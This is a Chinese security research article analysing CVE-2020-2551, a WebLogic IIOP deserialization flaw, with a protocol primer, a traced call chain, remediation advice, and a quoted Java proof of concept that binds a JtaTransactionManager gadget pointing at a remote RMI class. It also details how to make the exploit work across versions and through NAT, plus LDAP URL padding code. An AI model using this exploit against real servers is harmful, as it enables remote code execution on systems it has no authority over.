作者:r4v3zn@白帽匯安全研究院
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送!
投稿郵箱:paper@seebug.org

背景

2020 年 1月14日,Oracle 發布了大量安全補丁,修復了 43 個嚴重漏洞,CVSS 評分均在在9.1以上。 其中 CVE-2020-2551 漏洞,互聯網中公布了幾篇針對該漏洞的分析文章以及POC,但公布的 POC 有部分不足之處,導致漏洞檢測效率變低,不足之處主要體現在:

  1. 公布的 POC 代碼只針對直連(內網)網絡有效,Docker、NAT 網絡全部無效。
  2. 公布的 POC 代碼只支持單獨一個版本,無法適應多個 weblogic 版本。

注: 1. 經過大量的測試,我們的 POC 可穩定運行在多個操作系統、多個 weblogic 版本、多個 JDK 版本以及 Docker 網絡中。 2. 以上測試及分析環境全部基于內部環境。

漏洞分析

通過 Oracle 官方發布的公告是可以看出該漏洞的主要是在核心組件中的,影響協議為 IIOP 。該漏洞原理上類似于RMI反序列化漏洞(CVE-2017-3241),和之前的T3協議所引發的一系列反序列化漏洞也很相似,都是由于調用遠程對象的實現存在缺陷,導致序列化對象可以任意構造,并沒有進行安全檢查所導致的。

協議

為了能夠更好的理解本文稿中所描述 RMI、IIOP、GIOP、CORBA 等協議名稱,下面來進行簡單介紹。

IDL與Java IDL

IDL全稱(Interface Definition Language)也就是接口定義語言,它主要用于描述軟件組件的應用程序編程接口的一種規范語言。它完成了與各種編程語言無關的方式描述接口,從而實現了不同語言之間的通信,這樣就保證了跨語言跨環境的遠程對象調用。

在基于IDL構建的軟件系統中就存在一個OMG IDL(對象管理組標準化接口定義語言),其用于CORBA中。

就如上文所說,IDL是與編程語言無關的一種規范化描述性語言,不同的編程語言為了將其轉化成IDL,都制定了一套自用的編譯器用于將可讀取的OMG IDL文件轉換或映射成相應的接口或類型。Java IDL就是Java實現的這套編譯器。

RMI、JRMP、JNDI

Java遠程方法調用,即Java RMI(Java Remote Method Invocation)是Java編程語言里,一種用于實現遠程過程調用的應用程序編程接口。它使客戶機上運行的程序可以調用遠程服務器上的對象。遠程方法調用特性使Java編程人員能夠在網絡環境中分布操作。RMI全部的宗旨就是盡可能簡化遠程接口對象的使用。 Java遠程方法協議(英語:Java Remote Method Protocol,JRMP)是特定于Java技術的、用于查找和引用遠程對象的協議。這是運行在Java遠程方法調用(RMI)之下、TCP/IP之上的線路層協議(英語:Wire protocol)。

Java命名和目錄接口(Java Naming and Directory Interface,縮寫JNDI),是Java的一個目錄服務應用程序接口(API),它提供一個目錄系統,并將服務名稱與對象關聯起來,從而使得開發人員在開發過程中可以使用名稱來訪問對象。

目前基于 JNDI 實現的幾本為 rmi 與 ldap 的目錄服務系統,構建 rmi 、ldap 比較常用的的工具有 marshalsecysoserial

更多信息建議查閱Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事兒(上)

ORB與GIOP、IIOP

ORB全稱(Object Request Broker)對象請求代理。ORB是一個中間件,他在對象間建立一個CS關系,或者更簡單點來說,就是一個代理。客戶端可以很簡單的通過這個媒介使用服務器對象的方法而不需要關注服務器對象是在同一臺機器上還是通過遠程網絡調用的。ORB截獲調用后負責找到一個對象以滿足該請求。 GIOP全稱(General Inter-ORB Protocol)通用對象請求協議,其功能簡單來說就是CORBA用來進行數據傳輸的協議。GIOP針對不同的通信層有不同的具體實現,而針對于TCP/IP層,其實現名為IIOP(Internet Inter-ORB Protocol)。所以說通過TCP協議傳輸的GIOP數據可以稱為IIOP。

而ORB與GIOP的關系是GIOP起初就是為了滿足ORB間的通信的協議。所以也可以說ORB是CORBA通信的媒介。

CORBA

CORBA全稱(Common ObjectRequest Broker Architecture)也就是公共對象請求代理體系結構,是OMG(對象管理組織)制定的一種標準的面向對象應用程序體系規范。其提出是為了解決不同應用程序間的通信,曾是分布式計算的主流技術。

一般來說CORBA將其結構分為三部分,為了準確的表述,我將用其原本的英文名來進行表述: - naming service - client side - servant side

這三部分組成了CORBA結構的基礎三元素,而通信過程也是在這三方間完成的。我們知道CORBA是一個基于網絡的架構,所以以上三者可以被部署在不同的位置。servant side 可以理解為一個接收 client side 請求的服務端;naming service 對于 servant side 來說用于服務方注冊其提供的服務,對于 client side 來說客戶端將從 naming service 來獲取服務方的信息。這個關系可以簡單的理解成目錄與章節具體內容的關系:目錄即為 naming serviceservant side 可以理解為具體的內容,內容需要首先在目錄里面進行注冊,這樣當用戶想要訪問具體內容時只需要首先在目錄中查找到具體內容所注冊的引用(通常為頁數),這樣就可以利用這個引用快速的找到章節具體的內容。

神奇的7001端口

首先我們來分析 weblogic 神奇的 7001 端口,正常情況下我們通過 7001 端口發送 HTTP 協議時會響應 HTTP 協議的內容,發送 T3 協議的數據包時響應 T3 的響應數據包,發送 IIOP 協議的數據包時響應 IIOP 的數據包。該端口非常的神奇,我們通過什么協議訪問該端口該端口會響應對應的協議包內容。

HTTP 協議

通過瀏覽器進行訪問 weblogic 的 7001 端口可以發現響應的協議類型也為HTTP。

IIOP 協議

上圖通過 IIOP 進行發包響應內容為為 IIOP 內容信息,IIOP 是一種通過 TCP/IP 連接交換 GIOP (通用對象請求代理間通信協議)信息的協議。

漏洞利用

該漏洞主要是因為 Webloigc 默認開放 IIOP 協議,并且 JtaTransactionManager 并未做黑名單過濾導致漏洞發生,以下為整個測試 POC(該 POC 來自互聯網),后續代碼調試也是基于該代碼進行調試。

public static void main(String[] args) throws Exception {
        String ip = "127.0.0.1";
        String port = "7001";
        Hashtable<String, String> env = new Hashtable<String, String>();
        env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
        env.put("java.naming.provider.url", String.format("iiop://%s:%s", ip, port));
        Context context = new InitialContext(env);
        // get Object to Deserialize
        JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
        jtaTransactionManager.setUserTransactionName("rmi://127.0.0.1:1099/Exploit");
        Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", jtaTransactionManager), Remote.class);
        context.bind("hello", remote);
    }

基于公布的POC,整個利用過程就為: 1. 通過 Weblogic 的IP與端口通過 weblogic.jndi.WLInitialContextFactory 類進行 IIOP 協議數據交互。 2. 基于 JtaTransactionManager 設置 RMI 加載地址。 3. 通過 ysoserial 構建 Gadgets 并且通過 IIOP 進行綁定,并且觸發漏洞。

weblogic 解析流程

注:weblogic流程是基于 weblogic 12.2.1.3.0 進行測試研究。

weblogic 調試

修改目錄 user_project/domains/bin 目錄中 setDomainEnv.cmd 或者 setDomainEnv.sh 文件,加if %debugFlag == "false"% 之前加入 set debugFlag=true,并且重新啟動 weblogic,然后將 weblogic 復制到 idea 項目中,并且添加 Libraries

新增 Remote 方式進行遠程調試。

docker 調試可參考

  1. https://www.cnblogs.com/ph4nt0mer/archive/2019/10/31/11772709.html
  2. https://www.cnblogs.com/ph4nt0mer/archive/2019/10/31/11772709.html

解析到序列化

前面我們說到 7001 神奇的端口,weblogic 默認是 7001 端口進行接收 IIOP 請求。可以通過 com.oracle.weblogic.iiop.jar!weblogic.iiop.ConnectionManager#dispatch 可以看到所有 IIOP 的請求信息。

然后在 weblogic.rmi.internal.wls.WLSExecuteRequest#run 進行調用 weblogic.rmi.internal.BasicServerRef#handleRequest

然后在通過 weblogic.rmi.internal.BasicServerRef#handleRequest 調用 weblogic.rmi.internal.BasicServerRef#handleRequest 最終調用 invoker.invoke

以下為到 invoker.invoke 的調用鏈:

最終實現的方法在 com.weblogic.rmi.cluster.ClusterableServerRef#invoke 方法中。

進入該方法之后會 objectMethods.get(iioprequest.getMethod()) 進行獲取是否為空,如果為空的話會調用this.delegate._invoke(iioprequest.getMethod(), iioprequest.getInputStream(), rh) 進行處理,由于在發送包的時候執行的操作類型 bind_any() ,該類型不存在 objectMethods 變量中最終會調用 this.delegate._invoke ,具體實現的類為weblogic.corba.cos.naming._NamingContextAnyImplBase#_invoke

_invoke 方法中獲取執行的方法,我們執行的 bind_any 最終會執行到 case 0 的代碼塊中,最終調用n = WNameHelper.read(in);$result = in.read_any();this.bind_any(n, $result);out = $rh.createReply();代碼塊。

其中 WNameHelper.read(in) 通過讀取 IOR 中的信息用于注冊到 ORB 的流程中。

in.read_any() 最后執行 weblogic.corba.idl.AnyImpl#read_value_internal 處理對應的流程:

以下為 read_anyread_value_internal 的調用鏈:

可以看到最后進行 weblogic.corba.idl.AnyImpl#read_value() 進行讀取反序列化反序列化,然后通過以下調用鏈執行反射并且通過 weblogic.iiop.IIOPInputStream#read_value 通過反射進行獲取實例。

通過實例化之后 Serializable news = (Serializable)ValueHandlerImpl.readValue(this, osc, s); 然后通過weblogic.iiop.ValueHandlerImpl#readValue進行讀取內容

!

基于之前 JtaTransactionManager 進行讀取流內容進行 this.readObjectMethod.invoke(obj, in) 然后進入 JtaTransactionManager 處理流程

進入 com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager#readObject 整個流程為:

進入 com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager#readObject 后首先會默認讀取 defaultReadObject 然后創建 JndiTemplate 提供 this.initUserTransactionAndTransactionManager 進行使用注入遠程 JNDI 連接。

this.initUserTransactionAndTransactionManager 會進行調用遠程的 JNDI 連接

看到 this.getJndiTemplate().lookup ,最終在 com.bea.core.repackaged.springframework.jndi.JndiTemplate#lookup 進行操作至此結束。

同樣已經觸發并且加載遠程的Class 類。

POC 的不足之處

在背景中,筆者說明 CVE-2020-2551 漏洞公開的 POC ,有部分不足導致漏洞檢測效率降低,下面章節我們來進行深入分析。

class 編譯問題

在受影響 Oracle WebLogic Server 10.3.6.0.0 與 JDK 版本有非常大的關系,如果該機器版本為 1.6 版本必須要為 1.6 ,如果高于次版本會執行失敗(低版本的 JDK 不兼容高版本的 JDK ),但是所有 LDAP 以及 HTTP 請求信息仍然有效。

解決方案為利用 POC 設置編譯版本來進行處理:

javac Poc.java -source 1.6 -target 1.6

JDK 版本問題

在安裝 Oracle WebLogic Server 時需要進行需要指定 JDK 版本進行安裝,如未有 JDK 會導致安裝失敗,安裝時的 JDK 有非常大的關系,這次的漏洞主要是通過 JtaTransactionManager 來進行加載 LDAP 協議的內容,早在 JDK 1.7 時 Oracle 官方針對 RMI 、 LDAP 進行了限制,所在在使用時盡量使用 LDAP 協議。

Weblogic 版本問題

經過測試研究發現以下情況:

jar 版本 weblogic 版本 成功情況
10.3.6.0.0 10.3.6.0.0 成功
10.3.6.0.0 12.1.3.0.0 成功
10.3.6.0.0 12.2.1.3.0 失敗
10.3.6.0.0 12.2.1.4.0 失敗
12.1.3.0.0 10.3.6.0.0 成功
12.1.3.0.0 12.1.3.0.0 成功
12.1.3.0.0 12.2.1.3.0 失敗
12.1.3.0.0 12.2.1.4.0 失敗
12.2.1.3.0 10.3.6.0.0 失敗
12.2.1.3.0 12.1.3.0.0 失敗
12.2.1.3.0 12.2.1.3.0 成功
12.2.1.3.0 12.2.1.4.0 成功
12.2.1.4.0 10.3.6.0.0 失敗
12.2.1.4.0 12.1.3.0.0 失敗
12.2.1.4.0 12.2.1.3.0 成功
12.2.1.4.0 12.2.1.4.0 成功

最后總結 10.3.6.0.0 或 12.1.3.0.0 版本測試成功 10.3.6.0.0 和 12.1.3.0.0,12.2.1.3.0 或 12.2.1.4.0 版本測試成功 12.2.1.3.0 和 12.2.1.4.0,我把這種情況分為了兩大版本,10.3.6.0.0 和 12.1.3.0.0 為一個版本(低版本),12.2.1.3.0 和 12.2.1.4.0 為另外一個版本,所以完整的 POC 需要兼容倆個版本的驗證,比較好一點的做法就是通過抓包然后將2個包的內容進行多次發送,或者在利用的前提得知 Weblogic 使用的操作版本,一般 weblogic 的版本會在 https?://host//console/login/LoginForm.jsp 頁面會現實版本。

驗證問題

在測試過程中,可能都使用請求 LDAP 協議讀取遠程的 class 文件,然后才可以執行驗證代碼,這樣做會導致多次發包給 DNSLOG 平臺進行驗證,可能會導致驗證的問題。

在前面講到解析的流程中,我們看到有 lookup 去LDAP讀取遠程的 class 文件。如果請求的協議為不存在的某一個協議的話就會出現以下情況:

通過 Wireshark 查看,如果發送不存在的協議會響應回復 System Exception 錯誤信息:

如果成功會進行響應 User Exception 信息:

那么可以基于該情況進行通過轉換構造異常來進行判斷漏洞是否存在。

NAT 網絡問題

NAT 網絡問題是一個非常要命的問題,因為 weblogic 在運行時都是在內網運行的的,外網訪問的 weblogic 全部都是轉發出去的,這樣就會出現一個問題配置的 IP 都為內網地址,就會導致無法正常測試成功。

注:NAT 網絡測試僅通過 Docker 進行測試,并未針對互聯網進行測試。

正常使用工具進行測試時會出現會響應內網綁定 IP 地址然后一直進行 redict,并且在最后拋出 time out 問題。

針對這種情況只能通過自定義實現 GIOP 協議來繞過該方式:

  1. 請求 LocationRequest,獲取 key 。
  2. 請求Request,op=non_existent, 打開 IIOP 通道。
  3. 請求Request,op=bind_any,進行發送惡意序列化內容。

通過 Wireshark 我們可以看到之前測試靶場時會發包以下內容:

我們可以基于之前發送的 op=_non_existent 進行重新構造,修改 iiop 地址:

在重新 op=_non_existent 發包時需要首先獲取 Key Address (key 存在有效期時間)否則會進行一直進行 Location Forward,獲取 Key 信息并且修改 iiop 地址打開 IIOP 通道,最后進行發送惡意序列化內容。

LDAP 填充問題

通過 socket 發包的形式進行發包時,如需要進行替換 LDAP URL 時,正常修改 URL 會一直導致發包響應錯誤,需要通過 # 進行 panding 構造指定字節長度的 URL 然后通過 # 填充。

String append = "";
for (int i = ldapUrl.length(); i < 0x60; i++) {
    append += "#";
}
String url = ldapUrl+append;
System.out.println(url);

Weblogic 的問題

截止 2020 年 3 月 4 日,通過 Oracle 官方進行下載 weblogic 時,通過研究發現該漏洞依然存在可以利用(所有受影響版本),需要額外安裝補丁。 如下文件為下文件MD5值以及下載時間:

文件名稱 MD5 SHA1 創建時間
wls1036_generic.jar 33D45745FF0510381DE84427A7536F65 FFBC529D598EE4BCD1E8104191C22F1C237B4A3E ?2020?-03?-04?
fmw_12.1.3.0.0_wls.jar 8378FE936B476A6F4CA5EFA465A435E3 5B1761BA2FC31DC8C32436159911E55097B00B1E ?2020?-03?-04?
fmw_12.2.1.3.0_wls.jar 6E7105521029058AD64A5C6198DB09F7 74345654AF2C60EA13CF172A7851039A64BFE7E1 ?2017-08?-21?
fmw_12.2.1.4.0_wls.jar AA090712069684991BA27E4DE9ED3FF6 CFAA5752D33DD5FFB7A57F91686E15B465367311 ?2019-09?-13?

建議目前已經安裝最新版 weblogic 時同排查該漏洞,如有漏洞建議立即安裝補丁或通過修復方案進行修復,防止被不法分子利用。

漏洞修復

  1. 通過 weblogic 控制臺進行關閉 IIOP 協議,然后重新啟動 weblogic服務。
  2. 安裝 weblogic 修復補丁,進行修復。

參考鏈接

  1. https://www.anquanke.com/post/id/197605

  2. https://www.anquanke.com/post/id/199695

  3. https://www.cnblogs.com/ph4nt0mer/archive/2019/10/31/11772709.html

  4. https://lucifaer.com/2020/02/20/Java%20CORBA%E7%A0%94%E7%A9%B6/

  5. https://xz.aliyun.com/t/7079


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1149/